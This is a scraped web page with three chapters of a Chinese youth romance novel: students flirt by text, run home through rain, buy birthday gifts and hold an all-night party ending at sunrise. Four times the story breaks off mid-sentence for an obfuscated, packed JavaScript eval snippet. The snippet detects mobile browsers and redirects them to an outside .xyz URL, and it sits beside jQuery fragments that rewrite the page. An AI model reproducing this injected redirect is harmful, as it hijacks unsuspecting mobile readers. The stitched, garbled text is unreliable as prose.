祁云岫三十三岁,在职场上摸爬滚打很多年,乍一听到这样的少年气的发言内心还挺多感触的。 接着视线一扫,看到购物筐里的书。 《纯情丫头火辣辣》、《那小子真帅》…… 哪门子的学习最重要。 “原来你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15411055|163390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爱看这种书。” “?”祁昂低头,也看到那些花红柳绿的华丽封面,“……” 由于他才说过温知新是来帮他搬书的,所以这些东西全都要算在他头上。 他还百口莫辩。 温、知、新。 7:【小姨以为这些书是我爱看的】 温故而知新:【你可以看】 7:【这么大方】 温故而知新:【向来如此】 7:【明天还骑电瓶车去学校吗?】 温故而知新:【你的书搬完了吗?】 7:【搬完了】 温故而知新:【那不骑了,一天三十五呢】 7:【我出钱】 温故而知新:【租车多不划算,有钱直接买辆电瓶车多好,笨蛋】 祁昂觉得自己有病,还是病得不轻的那种。 温知新明明在骂他笨蛋,他居然还很开心。 正在打字的时候,温知新又发来一条信息。 温故而知新:【一会聊,我刷题去了,拜拜宝宝】 最后两个字好像是咒语,祁昂握着手机被定在了原地。 他甚至可以想象温知新的语气,欢快的,雀跃的,像只小麻雀一样。 会不会太快了,现在谈恋爱不好吧,可他不会影响温知新学习的。 在一起是不是要正式一点,明天买早餐的时候可以买束花,还要…… 祁昂脑子里思绪万千,手指却悬空静止在键盘,不知道该怎么回应。 截图。 看一遍。 默念一遍。 念出声一遍。 叮咚—— 温知新又发来信息。 温故而知新:【不好意思,手快了没看清,我想发的是拜拜拜拜】 祁昂那颗悬起来的心重重落了下去,他低着头很轻地笑了一下,把脑子里那些不该有的心思全清空。 7:【知道了】 虽然祁昂平时发的信息也都透着一股半死不活的感觉,但是这一句明显死的更厉害。 温知新笑得很得意。 她一开始确确实实是打错了,因为和方灿聊天的时候一直在说“拜拜宝宝”,所以输入法自动记住了这个搭配。 温知新早在第一时间就发现了这个错误,却还是将错就错,把“拜拜宝宝”发了过去。 她就是故意的。 为了是报那晚祁昂故意发“喜欢你”的仇。 温知新不知道沉默的那两分钟里祁昂在想什么,但是从疑似放弃抵抗的“知道了”能看出来他应该想了很多。 她爽了。 此时此刻喜欢与否已经不重要,温知新的好胜心得到了极大的满足。 温故而知新:【刷题了,拜】 7:【嗯】 电脑屏幕上弹出error提示,祁昂倒扣下手机,检查着代码错误,然而却总不受控地想到那句错发的“拜拜宝宝”。 既然是错误的,那就不该留下,祁昂面无表情地删掉一行标红代码。 但那只是一张截图,他可以留下来吧。 祁昂单手托着下巴,眸底闪着电脑的光,重新执行代码,噔一声,又一个error。 “唉。” 祁昂手背搭上双眼,轻轻往后仰,靠着椅背,发出极轻的一声叹息。 42. 狂奔 为昨晚熬夜写代码,所以祁昂第二天起来的稍微晚了一点,买完早餐到温知新家楼下的时候,刚好碰见她骑车要走。 “温知新。”祁昂喊住她。 温知新惊喜地回头,“刚下来没看到你,以为你先走了呢。” “没有,去买早餐了。”为了赶回来,祁昂骑车骑的很快,现在还有点喘,他抿着唇,把三明治递给温知新。 温知新感动,但是实话实话,“其实小区门口那家早餐店没毒。” “难吃。”祁昂言简意赅。 “好吧,我也算沾了少爷您的光了。”温知新说。 “快迟到了,走吧。” 学生会前天换届,祁昂连同所有准高三生光荣退休,不能再为温知新迟到网开一面。 其实今天去晚点也没关系,也七八号就高考,今天就用来清教室排考场。 不学习做什么都很快乐,三十五个人搬桌子的搬桌子,排座位的排座位,还有扫地擦黑板拖地的,理重班好不热闹。 温知新拿着打湿的抹布进教室,看见许妄拿着一把扫把横在身前,脚踩着凳子下面的横梁,曲着腿,前后摇摆着自己的身体。 “这是在干什么?”温知新问。 姜寐狂笑:“摇滚巨星开演唱会呢。” “全场大家一起来!”许妄抬高手臂,“Wewillwewillrockyou,Singitout!” 手指随便一指,指到了教室门口的赵言心。 “许妄,开演唱会呢。” “……”许妄抓紧从凳子上下来,装模作样地拿着扫把灰溜溜地扫了两下,“上午好,赵姐。” “好好干。”赵言心说。 “知道。”许妄痞里痞气地点了下额角,“保证完成任务。” 赵言心前脚刚走,许妄又端起扫把,“Buddyyou''reanoldmanpoorman……” “……”赵言心摆手,随他去了。 温知新作为许妄钦定的铁粉,她还兼任了一项艰巨任务,在他唱完歌之后献花并致辞。 花是方集拿物理卷子折的。 温知新从方集手里接过那束花,感慨,“你真是有心。” “他逼的。” “我就知道。” 一曲毕,许妄冲同学们弯腰致谢,“谢谢大家,谢谢你们一直支持我,谢谢谢谢。” 他朝温知新挤眉弄眼比手势。 温知新立刻上前,把那束花送给许妄,没什么感情地背台词,“只要你一直唱,我就会一直听,我会永远支持,永远喜欢你的。” “谢谢你的喜欢。”许妄装作感激涕零的样子,还要给温知新一个拥抱,被祁昂用扫把的手柄隔开。 “别玩了,打扫不完了。” 温知新趁机脱身,跑到祁昂身后,学着他的语气,也对许妄说:“别玩了,打扫不完了。” 许妄“嘿”一声,认命去扫地。 温知新和祁昂被分配去擦窗户,一人一扇,边擦边聊天。 “你给睡睡买礼物了吗?”温知新问。 祁昂说:“没。” “我也没有,我们明天一起去商场挑礼物吧。”温知新说,“你有时间吗?” “有。” “好。” 祁昂被学生会借走整理空出来的课桌,温知新把剩下几张窗户擦完了。 眼见着天阴了起来。 姜寐凑过来问:“马上下雨了,你带伞了吗,要不要和我们坐车回去?” 温知新说:“不用,我没带伞,但是祁昂有,我和他一起回去就行。” “好,别淋雨了。”姜寐放心离开。 完成自己该干的活之后就能回家。 温知新最慢吞吞,等她把抹布洗干净叠整齐放回原位,空荡的教室里就只剩下祁昂一个人了。 上午,但是天已经黑了,外面狂风大作,雨打在窗户上劈哩叭啦的。 教室里开着灯,干净明亮。 祁昂靠在窗边,低着头在刷手机。 温知新也靠,她倚着门框,抬起手,不轻不重地敲了两下门。 祁昂闻声抬头,恰好一道闪电劈过,他背后亮起紫色的光,衬得他没有表情的脸更加冷峻。 有够帅的。 温知新一看到美丽的人或者东西就会发自内心的笑起来,“走吧,回家。” “走。”祁昂摁灭手机,走向温知新,忽地脚步一顿,“你带伞了吗?” “你没带?” “就今天没带。” “……” 轰隆一声雷,好像砸在了他们中间,两个人都在彼此眼里看到了无奈的绝望。 祁昂脱下身上的外套,往前递了一下,“只有这个,你介意吗?” “我有选择吗?” “可以淋雨。” 温知新才不会选择淋雨,毅然决然道:“走,我们跑快一点,十分钟就能回家。” 她眼睛盛着光,亮晶晶的。 祁昂忍不住笑起来,轻轻点头。 中雨,没到寸步难行的地步,祁昂撑起外套挡在他和温知新的头顶,两人出了教学楼就开始狂奔。 两双长腿迈着相同大小的步子,运动鞋踩过沥青路上的积水,好像踩过一朵又一朵烟花。 外套乘着风飘扬,少年奔跑在街头,温知新的马尾无数次擦过祁昂的手臂,而祁昂的心跳不知道乱了多少节拍。 他想,这条路可以长一点吗?时间可以静止吗? 就停在这一刻吧。 十几分钟的路程只用了七分钟,两个人站在单元楼檐下,一个弯腰扶膝盖大喘气,一个微微斜靠着墙慢慢平复呼吸。 裤腿和鞋在跑步的过程中不可避免地被弄脏了,除此之外,温知新的上半身并没有淋到多少雨。 倒是祁昂,整个左肩连着后背都是湿的。 温知新递给他纸巾。 “第三场雨。” 祁昂擦着自己湿掉的发尾,瞥来眼神,“什么?” 温知新解释:“这是我在宜安遇到的第三场雨,我还是没有带伞,不知道被淋几次才能长记性。” “没关系,以后我会带。”祁昂说。 温知新笑,“哪儿那么多以后,一年之后就高考,大学的时候遇到下雨你也来接我吗?” 祁昂漫不经心:“江大很好考。” “再装我就把你推雨里。”温知新说。 祁昂轻笑,拍拍温知新的脑袋,“回家记得吃感冒药,我走了。” “等等。”温知新拉住他的衣角,“外套都湿透了,别用了,我上去给你拿把伞。” “不用,已经淋湿了。” “那也不能继续淋,你等我,不许走。”温知新说完就跑进电梯。 结果在家里找了一大圈也没找到一把雨伞,怪不得她记不起来上学要带伞,合着她家压根就没有雨伞。 她又继续找,翻出来一件从云宁带来的雨衣,印着小黄鸭的图案,遮雨的帽檐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15426140|163390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是小黄鸭的嘴。 温知新先是自己笑了一通,把雨衣拿下去给祁昂,看到他黑线的表情又笑了一回。 “只有这个了,凑合穿吧。” “不要。”祁昂拒绝,并转身就要往雨里走。 温知新拉住他,“宁愿淋雨感冒也不穿我的小黄鸭雨衣,你什么毛病。” “没毛病,不想穿。” “……” 温知新又发现祁昂新的性格特点,除了高高在上和要独一无二之外,还有死要面子和倔。 她把雨衣塞进他手里,“爱穿不穿,感冒了不许传染我。” 祁昂拿着皱巴巴的雨衣,被凶了还能笑出来。 “笑什么,不走了?” “等雨小一点再走。” “哦。”温知新应了一声,没再说让祁昂穿雨衣的事情,也没有先回家,而是站到了他身边,陪他等雨停。 檐下雨丝如帘幕。 祁昂忽然问:“温知新,你喜欢什么花?” “花?”温知新想了想,“水仙百合吧,淡粉色很漂亮,怎么问这个?” “突然想起来你还欠我一次快问快答。”祁昂说。 “?”温知新一头雾水,“什么快问快答?” “五一我们一起从夜色回来,在地铁上你问了好几个问题。” “好像是有这回事。”温知新说,“这也要还,你好小气,祁昂。” 祁昂模糊的笑声融在雨声里,“你不是也还过吗?” 温知新一愣,想到昨晚整蛊的“拜拜宝宝”,干脆破罐破摔,“还想问什么,问吧问吧。” “以后想学什么?” “只要不是计算机就行。” “为什么?” “没问什么,就是不喜欢。” “那你喜欢什么?” “喝酒,穿漂亮衣服,还有……”温知新卡壳。 因为眼前这个人就是她人生快乐清单里的第三项活动。 “还有什么?”祁昂看着温知新问。 “还有拿第一。”温知新说,“我最喜欢赢。” 祁昂看着温知新,显然不相信她说的话。 “雨小了,祁昂。”温知新别过视线,抓紧在祁昂发问前转移话题。 “好,我走了。”祁昂说。 他和雨衣上的小黄鸭面面相觑,大眼瞪小眼了半分钟,到底没忍心往自己身上套,还是选择了用外套来挡雨。 温知新抱着被嫌弃的小黄鸭雨衣,看着祁昂的背影消失在雨幕里。 回家先洗了个热水澡,喝了两袋感冒冲剂之后,温知新开始调整这两天的学习任务。 七号八号要空出来给姜寐过生日,那么她今明两天就要完成四天的学习任务。 温知新在标着TODOLIST的便签纸上写写画画,把所有任务排完,最后一行的时间是七号的凌晨两点半。 刚好祁昂发来信息问明天要约几点出门。 温知新顺手把计划发给他,“下午六点多吧,不热。” 祁昂拨来电话,声音清冷冷的,“你真打算猝死是吗,温知新。” “没有,只是时间紧任务重,我只能这么压榨自己。”温知新说。 祁昂放缓声音,“温知新,题是永远刷不完的。” “我知道。”温知新说,“我当然知道,但是我只能尽可能的多刷题,不然我还能做什么来提高成绩呢。” “是你不知道。”她声音闷闷的,“江大没有那么好考。” 43. 话唠 不知道是不是淋雨的缘故,温知新的声音低低闷闷,好像一把小锤子,砸在祁昂的心里,不是很痛,但会引起震颤。 “对你来说,也不难。”祁昂说。 声音很冷,语气很云淡风轻,但是很笃定。 祁昂发现温知新的自信只来源于成绩,或者说只来源于一时的成绩。 考好的时候就会对自己很有信心,考不好就会陷入深深的自我怀疑。 祁昂放慢语调,声音透出罕见的温柔,“温知新,你很厉害,不仅是因为你考过多少次第一,更是因为你有完全自主学习的能力,你可以制定完美的计划并严格执行,你懂得查漏补缺取长补短,这些都是非常珍贵的能力。” “我相信这样的人会得偿所愿,我相信你。” 这真是祁昂说过的最长的一段话了,温知新粗略数了数,感觉有一百多个字。 “我有这么好吗?”温知新疑惑。 祁昂肯定,“有。” 这一个字甚至比前面一大段话还要有力量,温知新非常受用。 “而且江大只是一所大学而已,以你的成绩真的绰绰有余,不要总否定自己。” 很巧的是,祁昂刚说完,下一秒温倩的信息就发来了。 是一篇公众号文章,标题是《一六年高考人数再创新高》,并附言:不到一年了,你的成绩不稳定,要更努力才能稳上江大计算机。 温知新觉得很割裂,也不想去思考究竟哪个才是真的。 她动动手指回复温倩一句知道,又和祁昂说:“你说的很有道理,但我要去刷题了。” 祁昂:“……”白说。 温知新似乎感受到他的无奈,笑起来,“我真的不会猝死的,你放心,每个人都有最适合自己的学习方式,我就喜欢熬夜刷题这真的改不了。” “好,知道了。” 挂断电话,祁昂立刻去找做医生的堂姐咨询了经常熬夜的学生适合吃什么补剂,并火速下单了一份。 既然源头无法解决问题,那就从末端下手,只要温知新身体健康就行了。 同样挂断电话之后,温知新对着计划表思考了几分钟,删掉了一些看似有必要实则回报率很低的事项,并将睡觉时间提前了半小时。 虽然还是算熬夜,但是少熬一点是一点,这已经是她为不猝死做出的最大让步。 接着又在没有姜寐的小群里商量了一下给她过生日的具体方案,许妄艾特了傅云星八遍,让他别告密。 星星点点:【哦】 宇宙第一大帅哥许某人是也:【你哦也没用,姜寐勾勾手指你就全盘托出了,你发誓】 星星点点:【誓】 宇宙第一大帅哥许某人是也:【……】 温知新笑死了。 温故而知新:【讨论完毕,散会,后天见】 Sugar:【OK,后天见】 - 六号,温知新在家写了一上午的题。 下午六点,太阳快下山,温知新给祁昂发信息,说现在可以出发。 7:【好,到楼下给你发信息】 大概五分钟,温知新的手机响了一声。 【7:。】 温知新关掉风扇,背上一只斜挎包下楼。 电梯厢门打开,倚着墙壁的祁昂应声抬头,看到温知新蹦蹦跳跳地走出来。 身上那件彩虹格子的及膝裙也跟着摇曳。 走到他身边时,好像一只蝴蝶飞了过来。 小蝴蝶上下看了他一眼,不满意地说:“祁昂,你怎么又穿一身黑?” “不可以?”祁昂垂眸,挑眉歪头反问。 温知新盯着他观察,眼角的小黑痣在冷白的皮肤下特别明显,下颌线条清晰利落,脊背挺拔,一身黑色衣服衬得他多了几分不驯。 很直观的帅。 “可以,好看的。”温知新说。 他们去的地方是宜安最大的商场,圆形建筑,从外面看好像一个巨大的鸡蛋。 温知新知道姜寐喜欢香水,尤其爱好花果香,她前几天就做好了功课,因此一到店里,没有犹豫的请导购员拿了那只香水。 前调是柑橘和青檬果的组合,酸甜味道把控得很精准,中后调微苦,整体很清新自然。 “就这瓶吧,麻烦帮我包起来。”结完账,温知新问祁昂要去买什么。 祁昂说:“没想好,你有什么参考意见吗?” “睡睡好像就对香水感兴趣,其他的好像都一般般。”温知新说,“要不你也买瓶香水?” “把她腌入味都喷不完,不买。”祁昂说,“再看看,你赶时间吗?” “不赶。”温知新昨晚就把高考假留的作业写完了,今天很轻松。 “是啊,昨晚把所有作业都写完了,今天应该没事了。”祁昂的声音飘下来,温知新被他说的有些心虚,抬眼看着他。 “卖萌没用。” “……”谁卖萌了。 温知新试探:“你看到我昨晚撤回的语音了?” 祁昂弯下腰盯着她的眼睛,微挑眉尖,学着温知新语气,拉着长调喊自己名字,“祁昂,张老师布置的这套竞赛题怎么这么难啊。” 温知新觉得丢人,脚尖一转,想要逃跑,被祁昂抓住手腕拽了回去,被迫对视。 “你没睡啊?” “被你的信息吵醒了。” “对不起。”温知新低着头道歉。 “没怪你。”祁昂说,“为什么撤回?” 温知新说:“因为我发完才意识到那时候已经三点半了。” 她困的神志不清,脑子也不太转的动,撒娇似的抱怨完才意识到对面是祁昂不是方灿也不是姜寐,不合适。 更何况他俩白天的时候还因为要不要熬夜刷题小吵了一下。 所以温知新急急忙忙撤回,没想到还是被听见了。 她绝无别的心思,天地可鉴。 “三点半怎么了?”祁昂像是真的不明白,“我好像没有限制你给我发信息的时间。” “没有。” “什么时候都可以给我发信息,不会打扰我,温知新。” 不论是在云宁还是宜安,都很少有人连名带姓的喊她,只有祁昂,一贯清冷冷的声音,用不同语气不同语调喊她姓名。 平时听着没什么感觉,就是今天没来由地感觉有点不好意思。 温知新摸了下耳朵,偏开头不和他对视,“知道了,你不是还要给睡睡挑礼物吗?快走吧快走吧。” 温知新一阵风似的跑远了。 祁昂站在原地,保持着弯腰的动作,双手撑膝,低着头散漫地笑了一声,不紧不慢地跟了上去。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15431660|163390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >两个人从一层逛到了五层,把能看的店全看了一遍,给姜寐的礼物没挑到,温知新倒是看上好几件衣服。 给祁昂的。 她小时候爱给芭比换装,长大了就在现实里装扮朋友。 祁昂看着那些花红柳绿的衣服,浑身写满了抗拒,“一定要试?” “肯定好看。” “不信。” “绝对比你这一身黑好看。”温知新看不得美丽的人不穿美丽的衣服,她挑了好几件,连人带衣服一起推进试衣间。 “你就试试嘛,又不会浪费多少时间。” 祁昂看着她亮晶晶的眼睛,认命点头。 祁昂白,高瘦,腿又长,天生的衣服架子。 再加上温知新眼光很好,挑的衣服都很衬他。 橙色短袖衬衫加白色T恤,下半身搭了一条卡其色工装裤,把祁昂的少年感发挥出了十成十。 “特别好看。”温知新眼睛一亮,“你很适合穿亮色,你不喜欢吗? 祁昂说:“不太习惯。” 好吧,一下子让人从黑白世界变成彩色世界可能是会有些变扭,温知新没坚持劝他。 “那算了,我们不买了,还是快给睡睡买礼物吧。” 两个人又去别的店看了一圈,祁昂还是什么都没买,时间也不早了,两个人直奔七层吃饭。 温知新看着琳琅满目的餐厅,嘴里一字不落地念完祁昂的忌口,最后选定一家自助餐。 “想吃什么吃什么,挑食也不怕。”温知新笑着站在店招牌旁边,一字一顿,字正腔圆的像在拍广告。 祁昂愣了一下,没想到温知新能记这么清楚。 “怎么记这么清楚?” “什么?” “我不喜欢吃的东西。” 温知新骄傲起来,“我不仅记住了你的,我还知道姜寐不吃姜和蒜,炒菜里的葱可以吃,但是汤里不能有葱;舒格不吃芹菜;傅云星不爱吃西兰花和萝卜,不过可以喝萝卜汤;许妄倒是什么都不挑,但是很讨厌苹果。” 祁昂静静听她说完,然后问:“记住这么多人的,你呢?” “我?”温知新一愣,随即开口,比刚才四个人加起来还多,“我不吃太甜的不吃太辣的不吃太软的,喜欢吃笋贡菜这种脆脆的东西,不吃葱,但是可以吃香菜,水果的话不喜欢吃橙子喜欢吃橘子。” 说完,她着看祁昂空白的表情,得逞的笑起来,“是不是一开始想用‘不要总在意别人从而忽略自己’那套大道理来说我,正能量大使先生?” 祁昂被戳穿,索性闭嘴装死,绕过她进去找位置取餐吃饭。 温知新笑着跟上去。 吃完饭,温知新和祁昂又逛了一会儿,祁昂给姜寐买了一个八音盒。 上完发条之后上面的芭蕾小人会转着圈跳舞。 刚好姜寐是学芭蕾的。 除此之外,祁昂还买了一个捕梦网,彩色羽毛很漂亮。 付完款之后,祁昂就把捕梦网那个袋子递到了温知新手里。 “给我的?” “嗯,不是说经常做梦睡不好吗?” “你还信这个?” “不信还我。” “不要,给我就是我的了。”温知新笑,“谢谢你啊,祁昂。” 祁昂揉了下耳垂,很轻地应了一声。 44. 生日 姜寐出生在凌晨,横跨七号和八号两天,所以她的生日也要庆祝两天。 七号下午参加家里为她办的生日会,虽然打着“庆祝”的名号,但觥筹交错间全是生意和人情往来。 姜寐不反感这些,反而在交际中十分如鱼得水,和每位长辈都能侃侃而谈。 她穿着香槟色小礼服,珍珠项链被编进短发里,脸上化了一层很浅的妆,手里的香槟杯中盛的却是鲜榨果汁。 傅云星穿的也是正装,安安静静地站在姜寐半步之外,微敛着眸,嫣然一副富家小公子的模样。 又笑着敷衍完一位据说是和姜家世家交好的叔叔,姜寐喝了一大口橙汁,偏过头和傅云星抱怨:“他知不知道参加的是我的十七岁生日会,大好的日子拉着我说了一大通结婚的事情算什么?” 傅云星说:“他开婚庆公司的。” 姜寐疑惑:“他不是做医疗器械的吗?什么时候改的行?” 傅云星眨眼:“我瞎说的。” 姜寐笑,刚要说话时身后传来一句很平淡的“姜寐”,她深吸一口气,换上无懈可击的微笑后才转头。 在看清来人的那一秒完美的表情就碎掉,语气也变得轻松起来,“原来是你,祁昂。” 祁昂说:“生日快乐,礼物让温知新带去别墅了。” “谢啦。”姜寐问:“温温她们已经去了吗?” 祁昂点下头,“都到了。” “好,等切完蛋糕我们就溜。”姜寐悄悄说,结果还是被她哥听见了。 姜醒一只手握着香槟杯,另外一个手帮姜寐整理了一下头上的珍珠链,声音里带着笑,“三位小朋友,要溜去哪儿啊?” 姜寐笑嘻嘻:“海边别墅,爸爸问起来的话你就说我困了,和傅云星一起回去了。” “好,但你们要怎么去?” 姜寐想说让张叔开车,又想到张叔肯定会告诉她爸,眉头还没来得及皱,一只车钥匙就晃在她眼前。 姜醒脸上带着淡笑,“生日就别皱眉了,我送你们去。” “行吗?到时候爸爸谁也找不到,又要生气了。”姜寐担心。 “有哥在,你怕什么。”姜醒笑,“和朋友们过个快乐生日去吧,十七岁是个大日子。” “好耶,谢谢哥哥。”姜寐欢呼。 祁昂和傅云星异口同声:“谢谢醒哥。” 姜醒被两张木头脸逗乐了,笑着摆手,“不客气,也不是为你们。” “……” “……” 车上,姜寐和姜醒讲她的生日计划,“我们晚上要通宵玩一整晚游戏,然后再去海边看日出。” 姜醒笑着说,“很十七岁。” “什么意思?”姜寐问。 “精力充沛,无忧无虑,肆无忌惮,大概这样。”姜醒拣了几个形容词,最后又补了一句,“让人羡慕。” 姜寐很满意这些描述。 - 别墅里,温知新收到祁昂的通风报信,“睡睡还有五分钟就到,准备准备。” 关掉所有灯,三个人分别躲在暗处,等着大门被打开。 “三,二,一!” 祁昂开灯,祝福声响起。 “姜寐生日快乐!” 明亮宽敞的客厅里,许妄和舒格站在最前面,握着手持彩带喷筒朝着天花板“嘣嘣”两声。 漫天的亮片飘下来时,姜寐愣了一下。 隔着粉色金色银色的闪闪,她看见许妄在激动地手舞足蹈,舒格仰着头看这场金色雨。 温知新捧着心形玫瑰花蛋糕,笑着站在彩带飘不到的后面。 整个场面都热闹非凡。 很十七岁。 姜寐突然想起刚刚姜醒说的这句话。 许妄像火车一样哐当哐当跑到姜寐身边,表诚心:“姜大小姐,请问你还需要小弟吗?” 姜寐说:“可以需要,你打过傅云星就行。” 众所周知,傅云星可以单手劈开一个大西瓜,是绝对力量拥有者。 许妄讪讪走开:“不要就不要,说什么让人去死的话。” 大家爆笑。 “行了行了,吃蛋糕吧吃蛋糕。”许妄招呼,拿起刀就要分蛋糕。 姜寐拦住他,要先拍照。 “来,拍!”许妄接过相机,一顿狂按快门,结果没一张能看的,被姜寐提着礼服裙追着打。 “今天好帅。”温知新没参与这次的追逐战,她走到祁昂身边,笑着说,“以后可以多穿西装吗?” “不是不喜欢我穿黑白灰?”祁昂反问。 “你很在意我喜不喜欢?”温知新歪着头看他,用相同的语气反问回去。 祁昂揉着耳垂躲开视线。 两个人站在红木长桌的两端,都刻意不去看对方,并不尴尬的沉默蔓延开来。 “温温,祁昂,来拍照!” 温知新应了一声,起身要过去,身后传来一句很轻的“你今天很漂亮”。 她愣了半秒,随即回头一笑,发尾擦过手臂,裙摆也跟着飘扬,声音清脆,“谢谢,我一直很漂亮。” 祁昂反手撑着桌面,抿唇笑着抬眸看她,耳垂红了又红。 姜寐对于许妄的拍照技术完全认命,她把拍照的参数和角度全都调整好之后,只让许妄担任按快门的角色。 大合照里六个人站成了一个半圆,姜寐端着蛋糕在最中央,左边是温知新和傅云星,右边是舒格许妄和祁昂。 点蜡烛关灯,姜寐闭上眼睛,双手合十,在“祝姜寐生日快乐”的歌声里,许下十七岁的愿望。 弯腰吹灭蜡烛,又一阵欢呼。 接下来分蛋糕,蛋糕不大,刚刚好一人一块,温知新不吃甜的,随便拿叉子刮了点奶油尝了一口就塞到了祁昂手里。 “你生日的时候会吃蛋糕吗?”祁昂问。 “不吃,买三个汉堡拼在一起,薯条蘸番茄酱当蜡烛,许完愿望之后我和我爸妈一人一个吃完拉倒。”温知新停顿了一下,“但我早不过生日了。” 祁昂问:“你生日什么时候?” “十一月二十四,那会儿宜安应该不热了吧。” “嗯,比现在凉快。” 温知新干笑:“十一月要是比六月还热的话,那我真的要去射日了。” 祁昂垂着头笑起来,“肯定不会热的,放心。” “别聊天了,这块蛋糕你俩到底吃不吃?”许妄两口就把蛋糕吃完了,还吃了半块傅云星的,犹嫌不够,“不吃我吃。” 祁昂拍开他的手,“不给。” 许妄:“阿祁,原来你的‘祁’是小气的气。” 祁昂:“是的。” “陛下,你看他。”许妄转头就去找温知新告状。 温知新摊手:“没办法,我是助纣为虐的昏君。” 许妄:“……”真够了。 祁昂抿下一口奶油,低着头笑,得了便宜还卖乖地去问:“我是纣?” “你快把蛋糕吃完吧。”温知新说,“许妄真要馋死了。” 姜寐推出来一辆堆着满满当当的零食车,“随便吃。” 六个人打了半宿桌游,许妄一局没赢,他不想玩了,把手牌往矮桌上一放,靠着沙发翻姜寐历年生日晚会照片,看着一年比一年华丽的背景,不禁发问:“十八岁生日会得多豪华啊?” 姜寐换了身舒服的家居服,从楼上走下来,云淡风轻道:“应该是去游轮。” “我靠,我能去吗!”许妄说,“我也可以穿正装,保证比阿祁和傅哥帅。” “当然可以,不穿正装也可以。” “但是明年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15453828|163390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这时候我们在高考吧,怎么办?” “推迟一天办。”姜寐真心实意对这个问题感到疑惑,“我高考完就不活了?” “……”许妄去找温知新告状,“我不活了,我说不过她。” 温知新窝在沙发上和傅云星打电动,闻言把祁昂的手拽过去,眼睛却始终在电视屏幕上,“顾客您好,我们家这款商品很擅长阴阳怪气,有百分之五十的概率帮您吵赢对方,还有百分之五十的概率他会和对方一起吵你,请谨慎下单。” “真无聊,温知新。”祁昂抬手,在温知新的脑袋上弹了一下。 白衬衫因为他的动作拉扯出褶皱,劲瘦的腰身被勾勒的明显,西装裤下的长腿交叠,靠在沙发上跟模特似的。 许妄拍祁昂肩膀,凑过去小声说:“快换衣服别开屏了,新帝压根没看你一眼,你都没那怪兽吸引力大。” 祁昂不冷不淡地看他一眼,抬手捂住他的嘴。 物理意义上的让人闭嘴。 许妄扒开祁昂的手,给了他一拳,跑走去找舒格玩了。 舒格在二楼参观,有一间房间放了两面墙的黑胶唱片,基本都是绝版的,看起来十分壮观。 “你喜欢黑胶唱片?”许妄问。 舒格说:“不是,我喜欢收集,你不觉得任何东西只要数量足够多放在一起就很赏心悦目吗?” 许妄试探性地说:“蟑螂?” “……” 许妄被轰下来了。 姜寐路过,说他活该。 玩到后半夜都累了,温知新直接倒在沙发上看着傅云星和许妄打怪,一道阴影笼罩过来,视线一抬,看见穿着休闲装的祁昂。 不是黑的不是灰的也不是白的,而是那天她在商场挑的那身。 橙色的。 温知新眼睛亮了一下,“什么时候买的?” “路上捡的。” “嗯嗯嗯,刚好捡到了我给你搭的这一身,刚好捡到了你的码数。”温知新眯着眼睛笑,声音因为困倦而懒洋洋的,“什么时候给我也捡一件啊?我想要公主裙,可以吗?” “可以。”祁昂很痛快地答应了。 温知新一愣,随即反应过来祁昂是在逗她玩,索性开始胡说,什么裙摆要三米长的,颜色要红橙黄绿青蓝紫渐变的…… 祁昂坐在地上,偏头看着温知新那张生动的笑脸,居然莫名其妙地把这些离谱要求全记下来了。 三点四十,舒格和姜寐在顶楼影音室看姜醒收藏的老电影卡带,许妄和傅云星打出了“gameover”,温知新和祁昂在讨论用什么材料才能做出和谐的七彩渐变。 四点,舒格和许妄比赛画蟑螂,傅云星给睡着的姜寐盖被子,温知新和祁昂翻出去年数竞试卷开始掐点比赛写题。 四点半,距离日出还有四十分钟,六个人浩浩荡荡出发海边,除了姜寐每个人都挎了个包。 五点十八分,太阳冲破海平面,霞光满天, 水天一色,浮光跃金。 温知新咳一声。 祁昂和舒格立刻站到姜寐左右两边,从包里掏出粉色手幅,一个写着“姜寐姜寐”,一个写着“快乐加倍”。 傅云星和许妄也迅速在姜寐身后展开一条的红底黄字的长横幅,上面写着“祝姜寐同学十七岁生日快乐!!!”。 温知新拿出一捧粉色玫瑰,递到姜寐怀里,然后站到她的旁边。 